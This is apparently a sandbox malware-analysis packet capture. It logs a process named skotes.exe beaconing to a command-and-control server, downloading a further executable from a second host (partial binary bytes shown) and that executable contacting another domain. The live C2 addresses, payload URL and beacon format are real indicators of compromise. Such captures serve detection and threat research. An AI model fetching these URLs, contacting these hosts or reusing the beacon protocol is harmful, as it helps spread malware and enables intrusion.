1	192.168.2.4	49759	185.215.113.43	80	7672	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 18:06:07.159018040 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 41 37 30 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32A70B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 8, 2024 18:06:08.502834082 CET	305	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 08 Dec 2024 17:06:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 33 0d 0a 20 3c 63 3e 31 30 31 33 32 32 39 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 33 32 66 63 34 31 35 31 62 65 62 30 30 62 36 31 64 30 62 31 63 34 31 62 62 64 30 63 64 33 63 62 30 65 33 64 31 34 38 32 62 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 73 <c>1013229001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb932fc4151beb00b61d0b1c41bbd0cd3cb0e3d1482b#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49765	31.41.244.11	80	7672	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 18:06:08.626698971 CET	65	OUT	GET /files/806475321/0tClIDb.exe HTTP/1.1 Host: 31.41.244.11
Dec 8, 2024 18:06:09.970753908 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 08 Dec 2024 17:06:09 GMT Content-Type: application/octet-stream Content-Length: 1892352 Last-Modified: Sun, 08 Dec 2024 16:55:07 GMT Connection: keep-alive ETag: "6755cf6b-1ce000" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 62 af 50 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 c6 03 00 00 ac 00 00 00 00 00 00 00 90 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 4a 00 00 04 00 00 5d 07 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 30 05 00 70 00 00 00 00 20 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELbPgJ@J]@\0p 1 2@.rsrc B@.idata 0F@ *@H@tgrwqosfp0pJ@iapomrjrJ@.taggant0J"@
Dec 8, 2024 18:06:09.970927000 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 8, 2024 18:06:09.970937014 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 8, 2024 18:06:09.970947981 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 8, 2024 18:06:09.970957994 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 8, 2024 18:06:09.971097946 CET	672	IN	Data Raw: 55 da 1c c1 1a 1b 4f 69 e2 02 14 c9 ab 64 f3 e3 51 a8 fb de 09 87 fa a8 7a 9f 28 b1 1d 83 15 aa 86 99 51 64 31 90 4b dc 3e 18 ab e6 da c1 ba a2 6f 43 0d 21 59 b0 03 bc 71 55 68 ab bf 8a 1d 00 30 f3 96 bb 36 02 6d 34 19 e2 3b 18 7a a6 8a c2 cb 90 Data Ascii: UOidQz(Qd1K>oC!YqUh06m4;zB}j)<gBcHJs9,)zVfm).0&{MjC_b)WnUJP9[@Y4HT8vp1Z0J]: <:f"A+ZrI@
Dec 8, 2024 18:06:09.971164942 CET	1236	IN	Data Raw: c2 1e 6c 4c 34 58 d1 5e f2 d6 30 27 78 72 28 ca 01 29 50 2c 4c 33 ac 18 8c 72 20 e9 e1 5e 65 a6 ce 3a 68 e1 2c 59 c4 74 2e b1 38 7f 5c 62 0c 27 e2 42 74 ca 0d b5 b3 76 e8 20 26 ad 7f 76 70 f4 43 4e 50 75 58 90 42 b8 17 ce 25 e1 4d 11 55 ed 2d 83 Data Ascii: lL4X^0'xr()P,L3r ^e:h,Yt.8\b'Btv &vpCNPuXB%MU-[l([e/{I8 x9!`u_t7qr!8I8322Z8yN9>Q<8k*-:d[xB.M@ddY(]}@hQ~C]\|"(
Dec 8, 2024 18:06:09.971369028 CET	1236	IN	Data Raw: 30 0a b1 1c 7d a7 2b 4c b2 a4 bf 01 b0 cd 33 b7 b4 b3 97 a8 44 bd 6a 96 c3 1c 22 cc 32 75 72 8a 5f e2 78 01 c9 41 24 95 36 6e bf b3 25 ff ba 4b cd 3c 59 ec a1 ee 43 c0 2a da c8 99 47 21 30 3d 3c 84 b0 7c d5 6f f7 a2 3a 19 c7 2b ec b6 ea 76 16 a5 Data Ascii: 0}+L3Dj"2ur_xA$6n%K<YCG!0=<\|o:+v&%rG'ZJMkJ7+dGU\|`]q~_\(fUy Mle?JczlE<5D6P#Bf9#*8$] t)f4V'+;s]x4ww5~rCJ
Dec 8, 2024 18:06:09.971380949 CET	448	IN	Data Raw: af 11 98 a8 d9 5f 22 f3 33 b5 35 8d 35 56 d7 97 a5 49 fd b8 39 59 58 0f ad 1f 1e e7 25 ee f3 f2 45 5d 16 8a 16 7e bd ef d3 01 3e b5 ba 08 d8 c5 7f 0e d5 f4 4d db fe 55 fc c8 b4 6e 72 80 2e 28 1a bb 2f b2 64 80 7d cb 89 2a 4e 6b e1 a7 d7 40 82 84 Data Ascii: _"355VI9YX%E]~>MUnr.(/d}Nk@R'dk?BIv;96=qxY~ya@=@[317@Mzrl{G4`F_56M=!fUm7\|=Ws*P^4M69"7,/)T05
Dec 8, 2024 18:06:09.971391916 CET	1236	IN	Data Raw: 20 9a bc 36 b2 9c b1 8a 0d bc f0 a8 0d 68 d2 32 c3 04 0c 48 0c 30 78 d8 2c 4b c2 c9 9b 47 48 5f 6f be a0 ab a8 ec 89 d1 6b 6c df bd fd 03 6b cf c3 82 c5 bc b4 31 8a 4b 77 8e 95 3a 89 5c 45 02 97 0f 3a 90 da 40 fb 1a 72 ad e5 92 19 30 10 b7 7c 78 Data Ascii: 6h2H0x,KGH_oklk1Kw:\E:@r0\|x@=u#a} :!3bqq%T_)Wj _C>z${j,e.}3!ct0bH~R7MIyxc&1pu8;Ebh6(-~F/2
Dec 8, 2024 18:06:10.094274998 CET	1236	IN	Data Raw: cb 16 01 d7 bc 09 ff b6 e6 7d 3a 6a 72 19 f9 f1 c0 cc eb 50 f4 c5 52 e0 fe 31 34 f7 58 fe bb bc a6 a5 b0 a4 c2 58 98 6d 27 15 28 43 7d 1c f2 6a 1c f0 a4 7e 54 47 27 f1 9c 4f 30 af 6c bd 7f 26 b4 05 ce ec c8 7e 48 21 94 60 ae 29 d5 68 78 7a 9e ce Data Ascii: }:jrPR14XXm'(C}j~TG'O0l&~H!`)hxzH&}\|<S+2>1h7Z;&EcagHp;Q6Ia:Wl'J[zV$gVS$XFiX/.ScZS&-wS_6 i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49781	185.215.113.43	80	7672	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 18:06:15.885423899 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 33 32 32 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013229001&unit=246122658369
Dec 8, 2024 18:06:17.241739988 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 08 Dec 2024 17:06:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49790	185.215.113.43	80	7672	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 18:06:18.987688065 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 8, 2024 18:06:20.334264994 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 08 Dec 2024 17:06:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49800	185.215.113.43	80	7672	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 18:06:21.965224028 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 41 37 30 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32A70B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 8, 2024 18:06:23.344522953 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 08 Dec 2024 17:06:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49808	185.215.113.43	80	7672	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 18:06:25.088809967 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 8, 2024 18:06:26.430351019 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 08 Dec 2024 17:06:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49820	185.215.113.43	80	7672	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 18:06:28.058001995 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 41 37 30 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32A70B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 8, 2024 18:06:29.395327091 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 08 Dec 2024 17:06:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49828	185.215.113.43	80	7672	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 18:06:31.142561913 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 8, 2024 18:06:32.491252899 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 08 Dec 2024 17:06:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49836	185.215.113.43	80	7672	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 18:06:34.172524929 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 41 37 30 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32A70B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 8, 2024 18:06:35.513982058 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 08 Dec 2024 17:06:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49846	185.215.113.43	80	7672	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 18:06:37.279103994 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 8, 2024 18:06:38.603209972 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 08 Dec 2024 17:06:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49853	185.215.113.43	80	7672	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 18:06:40.330385923 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 41 37 30 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32A70B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 8, 2024 18:06:41.708132982 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 08 Dec 2024 17:06:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49865	185.215.113.43	80	7672	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 18:06:43.450521946 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 8, 2024 18:06:44.807301998 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 08 Dec 2024 17:06:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49872	185.215.113.43	80	7672	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 18:06:46.436639071 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 41 37 30 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32A70B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 8, 2024 18:06:47.783098936 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 08 Dec 2024 17:06:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49879	185.215.113.43	80	7672	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 18:06:49.527124882 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 8, 2024 18:06:50.885409117 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 08 Dec 2024 17:06:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49891	185.215.113.43	80	7672	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 18:06:52.591532946 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 41 37 30 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32A70B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 8, 2024 18:06:53.938564062 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 08 Dec 2024 17:06:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49899	185.215.113.43	80	7672	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 18:06:55.729573965 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 8, 2024 18:06:57.079854012 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 08 Dec 2024 17:06:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49905	185.215.113.43	80	7672	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 18:06:58.715006113 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 41 37 30 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32A70B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 8, 2024 18:07:00.065918922 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 08 Dec 2024 17:06:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49782	172.67.165.166	443	7872	C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-08 17:06:17 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: atten-supporse.biz
2024-12-08 17:06:17 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
